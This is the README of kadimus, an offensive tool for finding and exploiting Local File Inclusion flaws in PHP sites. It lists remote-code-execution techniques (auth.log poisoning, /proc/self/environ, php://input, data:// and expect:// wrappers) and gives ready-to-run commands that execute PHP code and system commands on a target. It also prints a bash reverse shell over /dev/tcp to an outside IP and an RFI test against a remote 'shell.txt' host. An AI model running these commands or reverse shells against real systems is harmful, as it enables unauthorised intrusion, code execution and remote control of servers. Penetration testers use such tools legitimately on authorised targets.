kadimus

LFI Scan & Exploit Tool

kadimus is a tool to check for and exploit LFI vulnerabilities, with a focus on PHP systems.

Features:

• Check all url parameters
• /var/log/auth.log RCE
• /proc/self/environ RCE
• php://input RCE
• data://text RCE
• expect://cmd RCE
• Source code disclosure
• Command shell interface through HTTP request
• Proxy support (socks4://, socks4a://, socks5:// ,socks5h:// and http://)
• Proxy socks5 support for remote connections

Compile:

First, make sure you have all dependencies installed in your system: libcurl, libopenssl, libpcre and libssh.

Then you can clone the repository, to get the source code:

$ git clone https://github.com/P0cL4bs/kadimus.git
$ cd kadimus

And finally:

$ make

Options:

Options:
  -h, --help                    Display this help menu

  Request:
    -B, --cookie STRING         Set custom HTTP cookie header
    -A, --user-agent STRING     User-Agent to send to server
    --connect-timeout SECONDS   Maximum time allowed for connection
    --retry NUMBER              Number of times to retry if connection fails
    --proxy STRING              Proxy to connect (syntax: protocol://hostname:port)

  Scanner:
    -u, --url STRING            URL to scan/exploit
    -o, --output FILE           File to save output results

  Explotation:
    --parameter STRING          Parameter name to inject exploit
                                (only needed by RCE data and source disclosure)

  RCE:
    -T, --technique=TECH        LFI to RCE technique to use
    -C, --code STRING           Custom PHP code to execute, with php brackets
    -c, --cmd STRING            Execute system command on vulnerable target system
    -s, --shell                 Simple command shell interface through HTTP request

    --connect STRING            IP/hostname to connect to
    -p, --port NUMBER           Port number to connect to or listen on
    -l, --listen                Bind and listen for incoming connections

    --ssh-port NUMBER           Set the SSH port to try command injection (default: 22)
    --ssh-target STRING         Set the SSH host

    RCE Available techniques

      environ                   Try to run PHP code using /proc/self/environ
      input                     Try to run PHP code using php://input
      auth                      Try to run PHP code using /var/log/auth.log
      data                      Try to run PHP code using data://text
      expect                    Try to run a command using expect://cmd

    Source Disclosure:
      -S, --source              Try to get the source file using filter://
      -f, --filename STRING     Set filename to grab source [REQUIRED]
      -O FILE                   Set output file (default: stdout)

Examples:

Scanning:

./kadimus -u localhost/?pg=contact -A my_user_agent

Get source code of file:

./kadimus -u localhost/?pg=contact -S -f "index.php%00" -O local_output.php --parameter pg

Execute php code:

./kadimus -u localhost/?pg=php://input%00 -C '<?php echo "pwned"; ?>' -T input

Execute command:

./kadimus -t localhost/?pg=/var/log/auth.log -T auth -c 'ls -lah' --ssh-target localhost

Checking for RFI:

You can also check for RFI errors -- just put the remote URL in resource/common_files.txt and the regex to identify them, example:

/* http://bad-url.com/shell.txt */
<?php echo base64_decode("c2NvcnBpb24gc2F5IGdldCBvdmVyIGhlcmU="); ?>

in file:

http://bad-url.com/shell.txt?:scorpion say get over here

Reverse shell:

./kadimus -u localhost/?pg=contact.php -T data --parameter pg -lp 12345 -c '/bin/bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"' --retry-times 0

Contributing

You can help with code, or by donating. If you want to help with code, use the kernel code style as a reference.

Paypal:

BTC: 1PpbrY6j1HNPF7fS2LhG9SF2wtyK98GSwq